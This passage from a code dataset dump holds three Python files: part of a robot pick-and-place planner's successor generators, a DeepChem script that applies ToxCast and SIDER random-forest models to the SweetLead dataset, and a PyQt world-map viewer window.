True\n\ndef place_successors(state, oracle):\n planning_problem = oracle.problem\n if state['holding'] is False: return\n\n robot_config = state['robot']\n object_poses = {object_name: state[object_name] for object_name in oracle.objects if state[object_name] is not False}\n object_name, grasp = state['holding']\n operators = []\n generators = deque([\n query_manip_tuples(oracle, object_name, grasps=[grasp], candidates=INF, object_poses=object_poses)\n ])\n if USE_GOAL_PLACEMENTS:\n if object_name in planning_problem.goal_poses:\n generators.append(query_manip_tuples(oracle, object_name, grasps=[grasp], poses=[planning_problem.goal_poses[object_name]], candidates=INF, object_poses=object_poses))\n if object_name in planning_problem.goal_regions:\n generators.append(query_manip_tuples(oracle, object_name, grasps=[grasp], region_names=[planning_problem.goal_regions[object_name]], candidates=INF, object_poses=object_poses))\n\n while len(generators) != 0:\n generator = generators.popleft()\n\n num_generated = 0\n for manip_tup in islice(generator, PLACES_PER_GENERATOR):\n num_generated += 1\n base_trajs = oracle.plan_base_roadmap(robot_config, manip_tup.approach_config)\n if base_trajs is None: continue\n operators.append(MovePlace(Holding(object_name, manip_tup.grasp), manip_tup.pose, manip_tup.grasp_config,\n manip_tup.approach_config, manip_tup.trajs, robot_config, base_trajs, oracle))\n if len(operators) == PLACE_BRANCHING_FACTOR:\n yield operators\n operators = []\n if num_generated == PLACES_PER_GENERATOR: generators.append(generator)\n\n if len(operators) != 0:\n yield operators\n\n#################################################################\n\ndef pick_and_place_generator(initial, goal, oracle, heuristic=None):\n def fn(vertex):\n state = vertex.state\n successors = []\n if state['holding'] is False:\n successors.append(pick_successors(state, oracle))\n else:\n successors.append(place_successors(state, oracle))\n\n h_cost = heuristic(state, goal, oracle) if heuristic is not None else vertex.h_cost\n for operators in round_robin(successors):\n yield h_cost, filter(lambda o: o(state) is not None, operators) # TODO - successors sometimes return invalid actions\n return fn\n","sub_path":"ContextualPickPlace/python/pick-place/Modular-Planning-master/manipulation/rmmp/successors.py","file_name":"successors.py","file_ext":"py","file_size_in_byte":6782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"170960855","text":"\"\"\"\nScript that loads random forest models trained on the sider and toxcast datasets, predicts on sweetlead,\ncreates covariance matrix\n@Author Aneesh Pappu\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom deepchem.models.multitask import SingletaskToMultitask\nfrom deepchem import metrics\nfrom deepchem.metrics import Metric\nfrom deepchem.models.sklearn_models import SklearnModel\nfrom deepchem.splits import StratifiedSplitter, RandomSplitter\nfrom sweetlead_datasets import load_sweet\n\nsys.path.append('./../toxcast')\nsys.path.append('./../sider')\n\nfrom tox_datasets import load_tox\nfrom sider_datasets import load_sider\n\n\"\"\"\nLoad toxicity models now\n\"\"\"\n\n# Set some global variables up top\nreload = False\nverbosity = \"high\"\n\nbase_tox_data_dir = \"/home/apappu/deepchem-models/toxcast_models/toxcast/toxcast_data\"\n\ntox_tasks, tox_dataset, tox_transformers = load_tox(\n base_tox_data_dir, reload=reload)\n\n#removes directory if present -- warning\nbase_tox_dir = \"/home/apappu/deepchem-models/toxcast_models/toxcast/toxcast_analysis\"\n\ntox_train_dir = os.path.join(base_tox_dir, \"train_dataset\")\ntox_valid_dir = os.path.join(base_tox_dir, \"valid_dataset\")\ntox_test_dir = os.path.join(base_tox_dir, \"test_dataset\")\ntox_model_dir = os.path.join(base_tox_dir, \"model\")\n\ntox_splitter = StratifiedSplitter()\n\n#default split is 80-10-10 train-valid-test split\ntox_train_dataset, tox_valid_dataset, tox_test_dataset = tox_splitter.train_valid_test_split(\n tox_dataset, tox_train_dir, tox_valid_dir, tox_test_dir)\n\n# Fit Logistic Regression models\ntox_task_types = {task: \"classification\" for task in tox_tasks}\n\n\nclassification_metric = Metric(metrics.roc_auc_score, np.mean,\n verbosity=verbosity,\n mode=\"classification\")\nparams_dict = {\n \"batch_size\": None,\n \"data_shape\": tox_train_dataset.get_data_shape(),\n}\n\ndef model_builder(tasks, task_types, model_params, model_dir, verbosity=None):\n return SklearnModel(tasks, task_types, model_params, model_dir,\n model_instance=RandomForestClassifier(\n class_weight=\"balanced\",\n n_estimators=500,\n n_jobs=-1),\n verbosity=verbosity)\ntox_model = SingletaskToMultitask(tox_tasks, tox_task_types, params_dict, tox_model_dir,\n model_builder, verbosity=verbosity)\ntox_model.reload()\n\n\"\"\"\nLoad sider models now\n\"\"\"\n\nbase_sider_data_dir = \"/home/apappu/deepchem-models/toxcast_models/sider/sider_data\"\n\nsider_tasks, sider_dataset, sider_transformers = load_sider(\n base_sider_data_dir, reload=reload)\n\nbase_sider_dir = \"/home/apappu/deepchem-models/toxcast_models/sider/sider_analysis\"\n\nsider_train_dir = os.path.join(base_sider_dir, \"train_dataset\")\nsider_valid_dir = os.path.join(base_sider_dir, \"valid_dataset\")\nsider_test_dir = os.path.join(base_sider_dir, \"test_dataset\")\nsider_model_dir = os.path.join(base_sider_dir, \"model\")\n\nsider_splitter = RandomSplitter()\nsider_train_dataset, sider_valid_dataset, sider_test_dataset = sider_splitter.train_valid_test_split(\n sider_dataset, sider_train_dir, sider_valid_dir, sider_test_dir)\n\n# Fit Logistic Regression models\nsider_task_types = {task: \"classification\" for task in sider_tasks}\n\nparams_dict = {\n \"batch_size\": None,\n \"data_shape\": sider_train_dataset.get_data_shape(),\n}\n\nsider_model = SingletaskToMultitask(sider_tasks, sider_task_types, params_dict, sider_model_dir,\n model_builder, verbosity=verbosity)\nsider_model.reload()\n\n\"\"\"\nLoad sweetlead dataset now. Pass in dataset object and appropriate transformers to predict functions\n\"\"\"\n\nbase_sweet_data_dir = \"/home/apappu/deepchem-models/toxcast_models/sweetlead/sweet_data\"\n\nsweet_dataset, sweet_transformers = load_sweet(\n base_sweet_data_dir, reload=reload)\n\nsider_predictions = sider_model.predict(sweet_dataset, sweet_transformers)\n\ntox_predictions = tox_model.predict(sweet_dataset, sweet_transformers)\n\nsider_dimensions = sider_predictions.shape[1]\ntox_dimensions = tox_predictions.shape[1]\n\nconfusion_matrix = np.zeros(shape=(tox_dimensions, sider_dimensions))\nfor i in range(tox_predictions.shape[0]):\n nonzero_tox = np.nonzero(tox_predictions[i, :])\n nonzero_sider = np.nonzero(sider_predictions[i, :])\n for j in nonzero_tox[0]:\n for k in nonzero_sider[0]:\n confusion_matrix[j,k] +=1\n \ndf = pd.DataFrame(confusion_matrix)\n\ndf.to_csv(\"./tox_sider_matrix.csv\")\n\n","sub_path":"examples/sweetlead/sweet.py","file_name":"sweet.py","file_ext":"py","file_size_in_byte":4657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"562548986","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: mcreng\r\n\"\"\"\r\n\r\nimport sys\r\nfrom matplotlib.backends.qt_compat import QtGui, QtWidgets, is_pyqt5\r\nfrom util import timeit\r\nfrom world_map_canvas import WorldMapCanvas\r\n\r\nif is_pyqt5():\r\n from matplotlib.backends.backend_qt5agg import (\r\n FigureCanvas, NavigationToolbar2QT as NavigationToolbar)\r\nelse:\r\n from matplotlib.backends.backend_qt4agg import (\r\n FigureCanvas, NavigationToolbar2QT as NavigationToolbar)\r\n\r\nclass ApplicationWindow(QtWidgets.QMainWindow):\r\n def __init__(self):\r\n # Set window param\r\n super(ApplicationWindow, self).__init__()\r\n self._main = QtWidgets.QWidget()\r\n self.setCentralWidget(self._main)\r\n layout = QtWidgets.QVBoxLayout(self._main)\r\n self.setWindowTitle('Visited Countries World Map')\r\n self.setWindowIcon(QtGui.QIcon('icon.ico'))\r\n # Initialize canvas\r\n self.canvas = WorldMapCanvas()\r\n layout.addWidget(self.canvas)\r\n # Add toolbar\r\n self.addToolBar(NavigationToolbar(self.canvas, self))\r\n # Set up event handlers\r\n self.canvas.mpl_connect('button_press_event', self.on_click)\r\n self.canvas.mpl_connect('motion_notify_event', self.on_move)\r\n\r\n def on_click(self, event):\r\n \"\"\"\r\n Refer on click handler to self.canvas\r\n \"\"\"\r\n self.canvas.on_click(event)\r\n\r\n def on_move(self, event):\r\n \"\"\"\r\n Refer on move handler to self.canvas\r\n \"\"\"\r\n self.canvas.on_move(event)\r\n\r\nif __name__ == \"__main__\":\r\n if not QtWidgets.QApplication.instance():\r\n qapp = QtWidgets.QApplication(sys.argv)\r\n else:\r\n qapp = QtWidgets.QApplication.instance()\r\n app = ApplicationWindow()\r\n app.show()\r\n qapp.exec_()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"}